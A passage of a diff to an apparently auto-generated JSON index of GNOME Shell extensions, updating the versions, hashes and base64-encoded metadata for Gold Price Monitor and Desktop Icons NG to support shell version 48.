aWQiOiAiYWN0aXZpdHlBcHBMYXVuY2hlckByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA0Mwp9"}
   }}
 , {"uuid": "shutdown-timer-gnome-shell-extension", "name": "ShutdownTimer", "pname": "shutdowntimer", "description": "Allows to shutdown, restart and suspend computer after selected amount of time or in selected time.", "link": "https://extensions.gnome.org/extension/1152/shutdowntimer/", "shell_version_map": {
     "40": {"version": "9", "sha256": "1y69lv3mq66xxfxabngnbb104d26i05cyhmx3dqf4kyf1kd6jqvx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93cyB0byBzaHV0ZG93biwgcmVzdGFydCBhbmQgc3VzcGVuZCBjb21wdXRlciBhZnRlciBzZWxlY3RlZCBhbW91bnQgb2YgdGltZSBvciBpbiBzZWxlY3RlZCB0aW1lLiIsCiAgImdldHRleHQtZG9tYWluIjogIkF1dG9tYXRpY1NodXRkb3duVGltZXIiLAogICJuYW1lIjogIlNodXRkb3duVGltZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXV0b21hdGljLXNodXRkb3duLXRpbWVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21rcmFqbmFrL3NodXRkb3duLXRpbWVyLWdub21lLXNoZWxsLWV4dGVuc2lvbi8iLAogICJ1dWlkIjogInNodXRkb3duLXRpbWVyLWdub21lLXNoZWxsLWV4dGVuc2lvbiIsCiAgInZlcnNpb24iOiA5Cn0="}
@@ -2134,9 +2137,10 @@
     "42": {"version": "27", "sha256": "13km181vzf13id19xrv2b1mbry6378c9vhhpzm9agplgka104xap", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRhbmdlcm91cyI6IGZhbHNlLAogICJkZXNjcmlwdGlvbiI6ICJzaW1wbGUgZ25vbWUgZXh0ZW5zaW9uIGhlbHBzIHlvdSB0cmFja2luZyBnb2xkIHByaWNlIGluIHJlYWx0aW1lIiwKICAibmFtZSI6ICJHb2xkIFByaWNlIE1vbml0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ29sZC1wcmljZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3dvdG1zaHVhaXNpL2dvbGRwcmljZW1vbml0b3IiLAogICJ1dWlkIjogIkdvbGRfUHJpY2VfTW9uaXRvckB3b3Rtc2h1YWlzaV9naXRodWIiLAogICJ2ZXJzaW9uIjogMjcKfQ=="},
     "43": {"version": "28", "sha256": "14c6l7d3jrjvk4q7hjy9i1h8isp4igyh8f3lcmfw8llq0lf4brny", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRhbmdlcm91cyI6IGZhbHNlLAogICJkZXNjcmlwdGlvbiI6ICJzaW1wbGUgZ25vbWUgZXh0ZW5zaW9uIGhlbHBzIHlvdSB0cmFja2luZyBnb2xkIHByaWNlIGluIHJlYWx0aW1lIiwKICAibmFtZSI6ICJHb2xkIFByaWNlIE1vbml0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ29sZC1wcmljZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS93b3Rtc2h1YWlzaS9nb2xkcHJpY2Vtb25pdG9yIiwKICAidXVpZCI6ICJHb2xkX1ByaWNlX01vbml0b3JAd290bXNodWFpc2lfZ2l0aHViIiwKICAidmVyc2lvbiI6IDI4Cn0="},
     "44": {"version": "28", "sha256": "14c6l7d3jrjvk4q7hjy9i1h8isp4igyh8f3lcmfw8llq0lf4brny", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRhbmdlcm91cyI6IGZhbHNlLAogICJkZXNjcmlwdGlvbiI6ICJzaW1wbGUgZ25vbWUgZXh0ZW5zaW9uIGhlbHBzIHlvdSB0cmFja2luZyBnb2xkIHByaWNlIGluIHJlYWx0aW1lIiwKICAibmFtZSI6ICJHb2xkIFByaWNlIE1vbml0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ29sZC1wcmljZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS93b3Rtc2h1YWlzaS9nb2xkcHJpY2Vtb25pdG9yIiwKICAidXVpZCI6ICJHb2xkX1ByaWNlX01vbml0b3JAd290bXNodWFpc2lfZ2l0aHViIiwKICAidmVyc2lvbiI6IDI4Cn0="},
-    "45": {"version": "33", "sha256": "07zxf6xv10bbhvrwfqmcgp744k0rqsaw1vfbj2qjbwz5rfyyhz4w", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIGhlbHBzIHlvdSB0cmFja2luZyBnb2xkIHByaWNlIGluIHJlYWx0aW1lLiBTZXJ2aWNlIHByb3ZpZGVyOiBnb2xkcHJpY2Uub3JnIiwKICAibmFtZSI6ICJHb2xkIFByaWNlIE1vbml0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ29sZC1wcmljZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vd290bXNodWFpc2kvZ29sZHByaWNlbW9uaXRvciIsCiAgInV1aWQiOiAiR29sZF9QcmljZV9Nb25pdG9yQHdvdG1zaHVhaXNpX2dpdGh1YiIsCiAgInZlcnNpb24iOiAzMwp9"},
-    "46": {"version": "33", "sha256": "07zxf6xv10bbhvrwfqmcgp744k0rqsaw1vfbj2qjbwz5rfyyhz4w", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIGhlbHBzIHlvdSB0cmFja2luZyBnb2xkIHByaWNlIGluIHJlYWx0aW1lLiBTZXJ2aWNlIHByb3ZpZGVyOiBnb2xkcHJpY2Uub3JnIiwKICAibmFtZSI6ICJHb2xkIFByaWNlIE1vbml0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ29sZC1wcmljZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vd290bXNodWFpc2kvZ29sZHByaWNlbW9uaXRvciIsCiAgInV1aWQiOiAiR29sZF9QcmljZV9Nb25pdG9yQHdvdG1zaHVhaXNpX2dpdGh1YiIsCiAgInZlcnNpb24iOiAzMwp9"},
-    "47": {"version": "33", "sha256": "07zxf6xv10bbhvrwfqmcgp744k0rqsaw1vfbj2qjbwz5rfyyhz4w", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIGhlbHBzIHlvdSB0cmFja2luZyBnb2xkIHByaWNlIGluIHJlYWx0aW1lLiBTZXJ2aWNlIHByb3ZpZGVyOiBnb2xkcHJpY2Uub3JnIiwKICAibmFtZSI6ICJHb2xkIFByaWNlIE1vbml0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ29sZC1wcmljZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vd290bXNodWFpc2kvZ29sZHByaWNlbW9uaXRvciIsCiAgInV1aWQiOiAiR29sZF9QcmljZV9Nb25pdG9yQHdvdG1zaHVhaXNpX2dpdGh1YiIsCiAgInZlcnNpb24iOiAzMwp9"}
+    "45": {"version": "34", "sha256": "1v82zzkw8gh9mjwlwdwa5ygv6g5m1zlj740izj08fk20i4sv3p3r", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIGhlbHBzIHlvdSB0cmFja2luZyBnb2xkIHByaWNlIGluIHJlYWx0aW1lLiBTZXJ2aWNlIHByb3ZpZGVyOiBnb2xkcHJpY2Uub3JnIiwKICAibmFtZSI6ICJHb2xkIFByaWNlIE1vbml0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ29sZC1wcmljZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3dvdG1zaHVhaXNpL2dvbGRwcmljZW1vbml0b3IiLAogICJ1dWlkIjogIkdvbGRfUHJpY2VfTW9uaXRvckB3b3Rtc2h1YWlzaV9naXRodWIiLAogICJ2ZXJzaW9uIjogMzQKfQ=="},
+    "46": {"version": "34", "sha256": "1v82zzkw8gh9mjwlwdwa5ygv6g5m1zlj740izj08fk20i4sv3p3r", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIGhlbHBzIHlvdSB0cmFja2luZyBnb2xkIHByaWNlIGluIHJlYWx0aW1lLiBTZXJ2aWNlIHByb3ZpZGVyOiBnb2xkcHJpY2Uub3JnIiwKICAibmFtZSI6ICJHb2xkIFByaWNlIE1vbml0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ29sZC1wcmljZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3dvdG1zaHVhaXNpL2dvbGRwcmljZW1vbml0b3IiLAogICJ1dWlkIjogIkdvbGRfUHJpY2VfTW9uaXRvckB3b3Rtc2h1YWlzaV9naXRodWIiLAogICJ2ZXJzaW9uIjogMzQKfQ=="},
+    "47": {"version": "34", "sha256": "1v82zzkw8gh9mjwlwdwa5ygv6g5m1zlj740izj08fk20i4sv3p3r", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIGhlbHBzIHlvdSB0cmFja2luZyBnb2xkIHByaWNlIGluIHJlYWx0aW1lLiBTZXJ2aWNlIHByb3ZpZGVyOiBnb2xkcHJpY2Uub3JnIiwKICAibmFtZSI6ICJHb2xkIFByaWNlIE1vbml0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ29sZC1wcmljZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3dvdG1zaHVhaXNpL2dvbGRwcmljZW1vbml0b3IiLAogICJ1dWlkIjogIkdvbGRfUHJpY2VfTW9uaXRvckB3b3Rtc2h1YWlzaV9naXRodWIiLAogICJ2ZXJzaW9uIjogMzQKfQ=="},
+    "48": {"version": "34", "sha256": "1v82zzkw8gh9mjwlwdwa5ygv6g5m1zlj740izj08fk20i4sv3p3r", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIGhlbHBzIHlvdSB0cmFja2luZyBnb2xkIHByaWNlIGluIHJlYWx0aW1lLiBTZXJ2aWNlIHByb3ZpZGVyOiBnb2xkcHJpY2Uub3JnIiwKICAibmFtZSI6ICJHb2xkIFByaWNlIE1vbml0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ29sZC1wcmljZS1tb25pdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3dvdG1zaHVhaXNpL2dvbGRwcmljZW1vbml0b3IiLAogICJ1dWlkIjogIkdvbGRfUHJpY2VfTW9uaXRvckB3b3Rtc2h1YWlzaV9naXRodWIiLAogICJ2ZXJzaW9uIjogMzQKfQ=="}
   }}
 , {"uuid": "ding@rastersoft.com", "name": "Desktop Icons NG (DING)", "pname": "desktop-icons-ng-ding", "description": "Adds icons to the desktop. Fork of the original Desktop Icons extension, with several enhancements .", "link": "https://extensions.gnome.org/extension/2087/desktop-icons-ng-ding/", "shell_version_map": {
     "38": {"version": "63", "sha256": "0c1zlpkbs1a1vsnlvg7if29dmw535bgybm5glczdki2fgdzrchw5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjM4IiwKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9yYXN0ZXJzb2Z0L2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImRpbmdAcmFzdGVyc29mdC5jb20iLAogICJ2ZXJzaW9uIjogNjMKfQ=="},
@@ -2145,10 +2149,10 @@
     "42": {"version": "63", "sha256": "0c1zlpkbs1a1vsnlvg7if29dmw535bgybm5glczdki2fgdzrchw5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjM4IiwKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9yYXN0ZXJzb2Z0L2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImRpbmdAcmFzdGVyc29mdC5jb20iLAogICJ2ZXJzaW9uIjogNjMKfQ=="},
     "43": {"version": "63", "sha256": "0c1zlpkbs1a1vsnlvg7if29dmw535bgybm5glczdki2fgdzrchw5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjM4IiwKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9yYXN0ZXJzb2Z0L2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImRpbmdAcmFzdGVyc29mdC5jb20iLAogICJ2ZXJzaW9uIjogNjMKfQ=="},
     "44": {"version": "63", "sha256": "0c1zlpkbs1a1vsnlvg7if29dmw535bgybm5glczdki2fgdzrchw5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjM4IiwKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9yYXN0ZXJzb2Z0L2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImRpbmdAcmFzdGVyc29mdC5jb20iLAogICJ2ZXJzaW9uIjogNjMKfQ=="},
-    "45": {"version": "76", "sha256": "15mypm6j5m2jczrhdg8csj45gknlh8gb0vyswqfj0wvn49r581ig", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvZGVza3RvcC1pY29ucy1uZyIsCiAgInV1aWQiOiAiZGluZ0ByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA3Ngp9"},
-    "46": {"version": "76", "sha256": "15mypm6j5m2jczrhdg8csj45gknlh8gb0vyswqfj0wvn49r581ig", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvZGVza3RvcC1pY29ucy1uZyIsCiAgInV1aWQiOiAiZGluZ0ByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA3Ngp9"},
-    "47": {"version": "76", "sha256": "15mypm6j5m2jczrhdg8csj45gknlh8gb0vyswqfj0wvn49r581ig", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvZGVza3RvcC1pY29ucy1uZyIsCiAgInV1aWQiOiAiZGluZ0ByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA3Ngp9"},
-    "48": {"version": "76", "sha256": "15mypm6j5m2jczrhdg8csj45gknlh8gb0vyswqfj0wvn49r581ig", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvZGVza3RvcC1pY29ucy1uZyIsCiAgInV1aWQiOiAiZGluZ0ByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA3Ngp9"}
+    "45": {"version": "77", "sha256": "1yr4an2xrxivc59g5vzb36c88v4sd6rnanchrijlwiw3zjp3jjj1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvZGVza3RvcC1pY29ucy1uZyIsCiAgInV1aWQiOiAiZGluZ0ByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA3Nwp9"},
+    "46": {"version": "77", "sha256": "1yr4an2xrxivc59g5vzb36c88v4sd6rnanchrijlwiw3zjp3jjj1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvZGVza3RvcC1pY29ucy1uZyIsCiAgInV1aWQiOiAiZGluZ0ByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA3Nwp9"},
+    "47": {"version": "77", "sha256": "1yr4an2xrxivc59g5vzb36c88v4sd6rnanchrijlwiw3zjp3jjj1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvZGVza3RvcC1pY29ucy1uZyIsCiAgInV1aWQiOiAiZGluZ0ByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA3Nwp9"},
+    "48": {"version": "77", "sha256": "1yr4an2xrxivc59g5vzb36c88v4sd6rnanchrijlwiw3zjp3jjj1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaWNvbnMgdG8gdGhlIGRlc2t0b3AuIEZvcmsgb2YgdGhlIG9yaWdpbmFsIERlc2t0b3AgSWNvbnMgZXh0ZW5zaW9uLCB3aXRoIHNldmVyYWwgZW5oYW5jZW1lbnRzIC4iLAogICJuYW1lIjogIkRlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3Jhc3RlcnNvZnQvZGVza3RvcC1pY29ucy1uZyIsCiAgInV1aWQiOiAiZGluZ0ByYXN0ZXJzb2Z0LmNvbSIsCiAgInZlcnNpb24iOiA3Nwp9"}
   }}
 , {"uuid": "order-extensions@wa4557.github.com", "name": "Order Gnome Shell extensions", "pname": "order-gnome-shell-extensions", "description": "Orders icons from extensions in the top bar", "link": "https://extensions.gnome.org/extension/2114/order-gnome-shell-extensions/", "shell_version_map": {
